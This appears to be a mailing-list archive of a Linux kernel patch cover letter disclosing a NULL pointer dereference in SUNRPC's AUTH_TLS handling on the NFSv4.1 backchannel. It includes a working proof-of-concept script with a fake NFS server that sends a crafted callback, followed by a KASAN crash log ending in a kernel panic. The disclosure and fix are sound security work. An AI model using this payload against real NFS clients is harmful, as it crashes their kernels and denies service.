Thread (3 messages) 3 messages, 2 authors, 14h ago

[PATCH net 0/1] SUNRPC: reject AUTH_TLS on backchannel requests

flat view
HOTtoday

From: Zhiling Zou <hidden>
Date: 2026-10-23 05:55:50
Also in: linux-nfs

Hi Linux kernel maintainers,

We found and validated a NULL pointer dereference in
net/sunrpc/svcauth_unix.c. A malicious NFSv4.1 server can trigger it in
a client by sending an AUTH_TLS callback request over the backchannel.
The reproducer uses a privileged local mount to a fake server.

We will provide details of the bug below, along with the PoC and the
QEMU crash log.

---- details below ----

Bug details:

svc_process_bc() processes reverse-direction RPC calls with
rqstp->rq_xprt set to NULL, then hands the request to
svc_process_common() for authentication. For an RPC_AUTH_TLS credential,
svc_authenticate() calls svcauth_tls_accept(). A valid empty credential
and NULL verifier on procedure zero pass the initial checks. The TLS
authenticator then dereferences rqstp->rq_xprt to inspect transport
handshake support, causing a NULL pointer dereference before the NFS
callback program can reject the request.

Reject AUTH_TLS when the request has no service transport. Such a
backchannel request is denied before the authenticator accesses
rq_xprt.

Reproducer:

    chmod +x poc.sh
    ./poc.sh

Run the reproducer as root in a QEMU guest with NFSv4.1, SUNRPC
backchannel support, and KASAN enabled. The script starts a local fake
NFS server, mounts it with NFSv4.1, and sends the malformed callback.

The crash was reproduced on Linux 6.12.95 with CONFIG_NFS_FS,
CONFIG_NFS_V4_1, CONFIG_NFSD, CONFIG_SUNRPC,
CONFIG_SUNRPC_BACKCHANNEL, and CONFIG_KASAN enabled.

------BEGIN poc.sh------

#!/bin/sh
set -eu

MNT=/tmp/nfs-bc-poc
PORT=3049
SERVER=/tmp/nfs-bc-server.py

mkdir -p "$MNT"

cat >"$SERVER" <<'PY'
import socket
import struct
import time


def recvn(conn, count):
    data = b""
    while len(data) < count:
        chunk = conn.recv(count - len(data))
        if not chunk:
            raise EOFError(f"short read: wanted {count}, got {len(data)}")
        data += chunk
    return data


def recv_record(conn):
    marker = recvn(conn, 4)
    value, = struct.unpack(">I", marker)
    length = value & 0x7fffffff
    return marker + recvn(conn, length)


def send_record(conn, payload):
    conn.sendall(struct.pack(">I", 0x80000000 | len(payload)) + payload)


def null_reply(xid):
    # xid, REPLY, MSG_ACCEPTED, AUTH_NULL, len=0, SUCCESS
    return struct.pack(">6I", xid, 1, 0, 0, 0, 0)


malicious_call = struct.pack(
    ">10I",
    0xdeadbeef,  # xid
    0,           # CALL
    2,           # RPC version
    0x40000000,  # NFS4_CALLBACK
    4,           # callback program version
    0,           # CB_NULL
    7,           # RPC_AUTH_TLS
    0,           # empty credential body
    0,           # RPC_AUTH_NULL verifier
    0,           # empty verifier body
)


listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind(("127.0.0.1", 3049))
listener.listen(1)

conn, addr = listener.accept()
print(f"accepted {addr}", flush=True)

req1 = recv_record(conn)
print(f"req1={req1.hex()}", flush=True)
xid1, = struct.unpack(">I", req1[4:8])
send_record(conn, null_reply(xid1))
print("sent null reply", flush=True)

req2 = recv_record(conn)
print(f"req2={req2.hex()}", flush=True)
send_record(conn, malicious_call)
print("sent malicious callback", flush=True)

time.sleep(30)
PY

python3 "$SERVER" >/tmp/nfs-bc-server.log 2>&1 &
server_pid=$!
trap 'kill "$server_pid" 2>/dev/null || true' EXIT INT TERM
sleep 1

# -i bypasses mount.nfs helper pre-probes so the kernel client speaks to our
# local fake server directly.
mount -i -t nfs4 \
  -o vers=4.1,port="$PORT",addr=127.0.0.1,clientaddr=127.0.0.1,soft,timeo=1,retrans=0 \
  127.0.0.1:/ "$MNT" || true

sleep 5
cat /tmp/nfs-bc-server.log || true

------END poc.sh--------

----BEGIN crash log----

[  237.564994][ T1083] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000001: 0000 [#1] SMP KASAN NOPTI
[  237.565967][ T1083] KASAN: null-ptr-deref in range [0x0000000000000008-0x000000000000000f]
[  237.566585][ T1083] CPU: 1 UID: 0 PID: 1083 Comm: NFSv4 callback Not tainted 6.12.95 #1 7b931b951f26d30ef9f3f8d44b931a24dbfb5ce6
[  237.567454][ T1083] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  237.568324][ T1083] RIP: 0010:svcauth_tls_accept+0x230/0x800
[  237.568824][ T1083] Code: 85 59 05 00 00 48 89 83 68 01 00 00 48 85 c0 0f 84 cb 03 00 00 48 b8 00 00 00 00 00 fc ff df 49 8d 7d 08 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 46 05 00 00 48 b8 00 00 00 00 00 fc ff df 4d 8b
[  237.570143][ T1083] RSP: 0018:ffffc90003107c48 EFLAGS: 00010212
[  237.570539][ T1083] RAX: dffffc0000000000 RBX: ffff888109430000 RCX: 1ffff1102128602d
[  237.571037][ T1083] RDX: 0000000000000001 RSI: 0000000000000004 RDI: 0000000000000008
[  237.571535][ T1083] RBP: 1ffff92000620f8a R08: 0000000000000001 R09: ffffed102080a865
[  237.572030][ T1083] R10: ffff88810405432b R11: 0000000000000001 R12: ffff8881094301f0
[  237.572535][ T1083] R13: 0000000000000000 R14: ffff888109432c84 R15: ffffffff88b0b240
[  237.573030][ T1083] FS:  0000000000000000(0000) GS:ffff888119e00000(0000) knlGS:0000000000000000
[  237.573591][ T1083] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  237.574006][ T1083] CR2: 000079a069f1b0a0 CR3: 0000000117296001 CR4: 0000000000770ef0
[  237.574512][ T1083] PKRU: 55555554
[  237.574738][ T1083] Call Trace:
[  237.574950][ T1083]  <TASK>
[  237.575141][ T1083]  ? __pfx_svcauth_tls_accept+0x10/0x10
[  237.575496][ T1083]  ? lock_acquire+0x153/0x2f0
[  237.575818][ T1083]  svc_process_common+0x84b/0x1ce0
[  237.576148][ T1083]  ? lock_release+0x687/0xc90
[  237.576493][ T1083]  ? __pfx_svc_process_common+0x10/0x10
[  237.576914][ T1083]  ? __pfx_lock_release+0x10/0x10
[  237.577298][ T1083]  svc_process_bc+0x4ed/0x980
[  237.577655][ T1083]  ? srso_alias_return_thunk+0x5/0xfbef5
[  237.578110][ T1083]  ? do_raw_spin_unlock+0x14a/0x1f0
[  237.578498][ T1083]  ? __pfx_svc_process_bc+0x10/0x10
[  237.578937][ T1083]  nfs4_callback_svc+0xb1/0x140
[  237.579271][ T1083]  ? __pfx_nfs4_callback_svc+0x10/0x10
[  237.579683][ T1083]  kthread+0x2bd/0x3a0
[  237.580000][ T1083]  ? __pfx_kthread+0x10/0x10
[  237.580336][ T1083]  ? __pfx_kthread+0x10/0x10
[  237.580693][ T1083]  ret_from_fork+0x31/0x70
[  237.581036][ T1083]  ? __pfx_kthread+0x10/0x10
[  237.581393][ T1083]  ret_from_fork_asm+0x1a/0x30
[  237.581771][ T1083]  </TASK>
[  237.581995][ T1083] Modules linked in:
[  237.582447][ T1083] ---[ end trace 0000000000000000 ]---
[  237.582861][ T1083] RIP: 0010:svcauth_tls_accept+0x230/0x800
[  237.583310][ T1083] Code: 85 59 05 00 00 48 89 83 68 01 00 00 48 85 c0 0f 84 cb 03 00 00 48 b8 00 00 00 00 00 fc ff df 49 8d 7d 08 48 89 fa 48 c1 ea 03 <80> 3c 02 00 0f 85 46 05 00 00 48 b8 00 00 00 00 00 fc ff df 4d 8b
[  237.585029][ T1083] RSP: 0018:ffffc90003107c48 EFLAGS: 00010212
[  237.585481][ T1083] RAX: dffffc0000000000 RBX: ffff888109430000 RCX: 1ffff1102128602d
[  237.586066][ T1083] RDX: 0000000000000001 RSI: 0000000000000004 RDI: 0000000000000008
[  237.586644][ T1083] RBP: 1ffff92000620f8a R08: 0000000000000001 R09: ffffed102080a865
[  237.587235][ T1083] R10: ffff88810405432b R11: 0000000000000001 R12: ffff8881094301f0
[  237.588020][ T1083] R13: 0000000000000000 R14: ffff888109432c84 R15: ffffffff88b0b240
[  237.588798][ T1083] FS:  0000000000000000(0000) GS:ffff888119e00000(0000) knlGS:0000000000000000
[  237.589472][ T1083] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  237.590105][ T1083] CR2: 000079a069f1b0a0 CR3: 0000000117296001 CR4: 0000000000770ef0
[  237.590876][ T1083] PKRU: 55555554
[  237.591159][ T1083] Kernel panic - not syncing: Fatal exception
[  237.591781][ T1083] Kernel Offset: disabled
[  237.592105][ T1083] Rebooting in 10 seconds..

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
  SUNRPC: reject AUTH_TLS on backchannel requests

 net/sunrpc/svcauth_unix.c | 5 +++++
 1 file changed, 5 insertions(+)

-- 
2.55.0
Keyboard shortcuts
hback out one level
jnext message in thread
kprevious message in thread
ldrill in
Escclose help / fold thread tree
?toggle this help